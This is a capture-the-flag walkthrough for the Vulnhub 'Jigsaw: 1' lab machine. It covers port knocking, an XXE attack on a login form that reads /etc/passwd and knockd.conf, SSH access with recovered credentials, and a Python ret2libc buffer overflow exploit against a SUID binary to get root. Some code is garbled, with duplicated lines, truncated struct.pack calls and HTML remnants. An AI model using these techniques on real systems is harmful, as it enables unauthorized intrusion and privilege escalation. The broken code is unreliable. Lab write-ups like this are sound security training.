Hello guys, today we will
face a slightly more complex challenge. Introducing the Jigsaw: 1 virtual
machine, the first of the "Jigsaw" series created by "Zayotic"
and available on Vulnhub. This is another boot2root-style challenge where we have to escalate
privileges to the "root user" and capture a flag to complete the
challenge.
Level: Hard to Insane
Since these labs are
available on the Vulnhub Website. We will be downloading the lab file from this link.
Penetration Methodologies:
·
Network Scanning (Part 1)
o ARP
Scan
o TCPDump
·
Enumeration (Part 1)
o Netcat
o Reading the
Flag1
·
Network Scanning (Part 1)
o
Port Knocking
o Nmap Scan
·
Enumeration (Part 2)
o Browsing
HTTP Service
o
Hidden Information in GIF image
·
Exploitation
o
XXE Attack in Form Login
o
Port Knocking
o Getting a SSH
Connection
o Enumeration
Files and Directories
o Reading the
Flag2
·
Post Exploitation
o
Getting Login Credentials
o
Enumeration for SUID binaries
·
Creating Exploit
o
Overview Buffer Overflow Return-to-Libc
o
Check Buffer length
o
First Payload Script
o
Get System, exit and /bin/sh addresses
·
Privilege Escalation
o Execute
Exploit Created
o Confirm
Root Access
o
Reading the Final Flag (Flag3) in
/root/gameover.txt
Walkthrough
Network Scanning (Part 1)
First, we will find the IP address of our
target machine and for that please use the following command as it helps to see
all the IP’s in an internal network through of a specific network interface:
arp-scan
--localnet --ignoredups
We found the target IP Address 192.168.138.100.
Normally, we would start a basic port scan
(using nmap or another tool) for services or some vulnerability. However, the
author of this box leaves a subtle tip stating to pay more attention to ARP
packages. We can read this hint in the box description before downloading it:
So, we can listen to network traffic through
tools such as Wireshark or TCPDump. For example, using the
following command we can listen to traffic through the terminal, filtering for
ARP packets:
tcpdump
-A -n host 192.168.138.100 and arp
We may notice that after a while we did not receive
much useful information. We can then deduce that it could be a fake tip or at
least a trick question. With this understanding, we can try to “exclude all ARP
traffic from this capture” using the following command:
tcpdump
-A -n host 192.168.138.100 and not arp
A few seconds after the previous command has
been executed, we may see a different message coming out of UDP port 666 in this box.
Enumeration (Part 1)
Apparently we may have some password in leet
mode or something expected with this feature. That way, we can perform a basic
test on UDP port 666 using Netcat to
identify some useful information with the following command:
nc -u
192.168.138.100 666
We can see that after testing a few words, we
get ciphertext when we send “j19s4w”
(leet mode). The message appears to be base64
encoded. Using the following command, we can send the right word and try to
decipher the content of the received message:
python
-c "print 'j19s4w'" | nc -u 192.168.138.100 666 -q1 | base64 -d
flag1{3034cc2927b59e0b20696241f14d573e}
We managed to capture the first flag and at
the same time a tip to continue the exploration.
Moving on to the next tip, you will need to
perform a procedure known as “Port Knocking”.
Network Scanning (Part 2)
Using the script below, we hit the indicated
ports in the correct sequence using Nmap:
for
knock in 5500 6600 7700; do nmap -Pn --host-timeout 201 --max-retries 0 -p
$knock 192.168.138.100; done
Alternatively, you can also perform the
"Port Knocking" process with the "Knock" command, according
to the following syntax:
knock 192.168.138.100 5500 6600 7700
Now, that we have knocked on the correct
ports and sequence, generally the protection system frees access to other
server ports. In order to guarantee and test, we can perform a basic port scan
using Nmap with the following command:
nmap
-A -T4 -p- 192.168.138.100
Thus, we can see that after "Port
Knocking", the system opened access to TCP port 80.
Enumeration (Part 2)
As port 80 is open, let us try and open the
IP in the browser as shown in the image below:
While there appears to be nothing on this
page, we can proceed to parse the source code for useful information.
So far, none of the visible information we
have found has taken us anywhere. We can also try to search directories and
files through webcrawlers like Dirsearch, Gobuster, Dirb, et.al., unfortunately
this procedure in this box will not return any known directories through common
dictionaries.
If we take into account the “thinking outside the box” common in CTF
challenges, when faced with images and data files, the idea of “steganography”, data hidden in other
files, comes up. Finally, we can also try
to analyze the GIF image used as the background of this page.
With the following command, we can download
this image to our attacking machine:
wget
-c http://192.168.138.100/jigsaw.gif
In addition, it is also indicated to look for
apparent "strings" in the file structure using the following command:
file
jigsaw.gif
strings jigsaw.gif
After analyzing the various exposed "strings" of this file, we reach the last line. This line, quite different from the previous ones, besides being larger, has a structure similar to the division of directories in common URL format.
strings jigsaw.gif
After analyzing the various exposed "strings" of this file, we reach the last line. This line, quite different from the previous ones, besides being larger, has a structure similar to the division of directories in common URL format.
It seems that this is a new way and so we can
test right in the browser.
http://192.168.138.100/w4n770p14y494m3/
Now that we have discovered a new
environment, we have access to a login form. After some testing, whenever we
enter an incorrect user, the form displays an error message, as shown below.
As usual, we can evaluate the source code for
any information that may be any hint or developmental flaw, such as a comment,
link, path, etc.
Here we have an XML function that handles this login form. And if you are already an
experienced CTF challenge practitioner or keep up to date on new attacks, you
may have realized that we will probably be able to exploit this environment
using some “XML External Entity Attack
or XXE Attack”.
Exploitation
To test the environment, we can intercept the
original request (with a proxy like Burpsuite) and change this data by
inserting a payload. To assist in this step, we can use some payload available
on “PayloadsAllTheThings”
through Github.
Below is an example of a common request
whenever we try to log in by default through the browser. For example, by
entering the following email "admin@jigsaw.local"
with the password "admin":
Understanding this request and response
process, we can manipulate data sent via the HTTP POST method and submit our
payload. The payload below was built for this tutorial example. Basically, if
the application is vulnerable it will return the contents of the file "/etc/passwd".
]>&my_email;
Now that we have Proof of Concept (PoC), we
can then continue exploring. Also, we already know that there is a user named “jigsaw” with login
permission for this machine.
As this is an access made through the “Port
Knocking” protection feature, it is ideal to read the information of the
configuration file of this service located at: "/etc/knockd.conf".
For this, we can only change the file to be
read, informing in the payload, the desired configuration file:
]>&my_email;
The file returned some settings for opening
and closing specific ports using Port Knocking. In addition, we also have the sequence to also allow access to port 22
for SSH.
Now that we know how to release SSH, let's
test and explore this service. We have done this before using a basic script to
"knock" in sequence and correct ports. However, alternatively we can
execute “knock” command to perform this procedure as shown below:
knock
192.168.138.100 7011 8011 9011
nmap -A -T5 -p22 192.168.138.100
nmap -A -T5 -p22 192.168.138.100
Now we can try to access this service. We
have at hand the user "jigsaw" but not much information about the
likely password. However, if you come back a little earlier, during the Network
Sniffing procedure, we capture a message via the UDP protocol.
Username:
jigsaw
Password: j19s4w
Password: j19s4w
So, with the credentials in hand, just test
and validate access.
ssh
jigsaw@192.168.138.100 -p22
password: j19s4w
password: j19s4w
Post Exploitation
Once we access the machine, we can list the
contents of the current directory, looking for files that can provide more
information or tips.
Great, we got the second flag of this
challenge easy. Besides, we already know that there is still one last challenge.
flag2{a69ef5c0fa50b933f05a5878a9cbbb54}
The current user has no
administrative permissions and apparently we will need to go up a privilege
level and get access from the "root user". We can navigate between
directories and search for files and folders with write, read and execute
permissions, search for SUDO permissions and also for executables with SUID and
/ or GUID.
Unfortunately, this user is not allowed to
execute commands through SUDO permissions.
sudo
-l
Another alternative is to look for SUID /
GUID executables.
find
/ -perm -u=s -type f 2>/dev/null
The search for SUID executables brought us
a very interesting binary: “/bin/game3”.
This binary gives us an idea that we are
on the right track, because if you check the paths so far, this will be the 3rd
challenge.
It is a ELF 32bits file, ie an executable for Linux. We could look for
strings, test outputs and other methods: everything is valid. However,
advancing the process, after some tests (entering several data as input), we
can identify a possible stack overflow, ie, this binary is probably vulnerable to “Buffer Overflow”.
Creating Exploit
I confess to you that my knowledge of
binary exploration and reverse engineering in ELF is quite basic, but I am
working to evolve this skill.
Let's take a moment to analyze the return
of the "file" command to better understand each step below.
/bin/game3
file /bin/game3
The result of executing the command shows that we have a 32-bit executable ELF, dynamically linked (linked with libc includes) and not-stripped (meaning it contains all the debugging information).
file /bin/game3
The result of executing the command shows that we have a 32-bit executable ELF, dynamically linked (linked with libc includes) and not-stripped (meaning it contains all the debugging information).
Since the target machine does not have an
internal debugger (like GDB), we can copy the binary to the attacking machine
and try to exploit this binary there to create our exploit. This is "BoF Ret2Libc
(Return-to-libc)".
The command below copies the torque from
the target machine to the attacking machine:
scp
jigsaw@192.168.138.100:/bin/game3 /destination_path
Check Buffer length
We know that after entering certain
amounts of characters the executable returns “segmentation failure”, an
overflow. However, if we test one character at a time until we find the correct
amount, we will lose a lot of time.
Therefore, it is faster to use gdb-peda 'pattern_create' and 'pattern_offset' functions to identify
the pattern and how much overflow occurred.
After executing the binary with the
pattern created with 200 characters (pattern_create
200), an overflow is returned at address: 0x41344141. We can look at the image below and check the pattern
that filled the EIP.
With the pattern_offset function we will identify how much the burst
actually occurred. Just tell the function the value (default) that went to the
EIP.
We now know that the number of characters to replace and fill the EIP is 76. This is the size
of our Buffer.
Therefore, we will begin our exploration.
For this exploit we will use the python language, as it has execution
permission on the target machine. If you want to better understand the payload
creation process to exploit the ret2libc attack, you can use the article posted
on the SpZ blog as a guide.
First
Payload Script
In order to test, let's develop our first
payload and test. Below is a basic python payload example:
import
struct
buf = "A" * 76
buf += struct.pack(" print buf
buf = "A" * 76
buf += struct.pack(" print buf
We were able to fill in the EIP with the
data we sent. So notice that the Exit
Address has been manipulated.
Get System, exit and /bin/sh addresses
To override the EIP and inject our shell,
we still need to get 3 more addresses: Libc
System Address, Libc Exit Address, Libc “/bin/sh” Address.
So we should go back to the target VM and
we will develop the payload within it. It is recommended to access any
directory that the current user has write permission to, such as “/tmp”.
At the target VM, we will type the
commands below to collect the respective addresses for Libc:
ldd
/bin/game3 | grep libc
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
We now have the following addresses:
Libc
Base Addr: 0xb7557000
Libc System Addr: 0x00040310
Libc Exit Addr: 0x00033260
Libc /bin/sh Addr: 0x00162d4c
Libc System Addr: 0x00040310
Libc Exit Addr: 0x00033260
Libc /bin/sh Addr: 0x00162d4c
To create our exploit, let's edit a file.py
(same xpl.py, for example) in the directory we chose earlier. Below is a code
example for our payload. It's no use wanting to copy and place the code that
probably the addresses will be different in your environment:
from
subprocess import call
import struct
import struct
base_addr
= 0xb7557000
sys_addr = struct.pack(" exit_addr = struct.pack(" shell_addr = struct.pack("
sys_addr = struct.pack(" exit_addr = struct.pack(" shell_addr = struct.pack("
buf
= "A"*76
buf += sys_addr
buf += exit_addr
buf += shell_addr
buf += sys_addr
buf += exit_addr
buf += shell_addr
i =
0
while(i<512 br="">
print(“Trying: %s” % (i))
i += 1
ret = call(["/bin/game3", buf])512>
i += 1
ret = call(["/bin/game3", buf])512>
Privilege Escalation
Now we can test our exploit and see if we
can scale privileges. To do this, we can execute it with the following command:
python
xpl.py
After performing the payload, wait a few
seconds. Since no feedback text has been added to your screen, the while loop
will keep trying until you can inject the payload.
We can see that there is a file named
"gameover.txt" inside the "root user" directory.
Final Considerations
We hope this guide has contributed to your
learning and knowledge and if possible shares with your network of friends and
partners.
Thanks for your patience in reading this
walkthrough until the end !!
Author: André
Henrique is a Cybersecurity and IT Consultant, Network Security Specialist,
Pentester, Speaker and Writer at Hacking Articles. Contact Here.
0 comments:
Post a Comment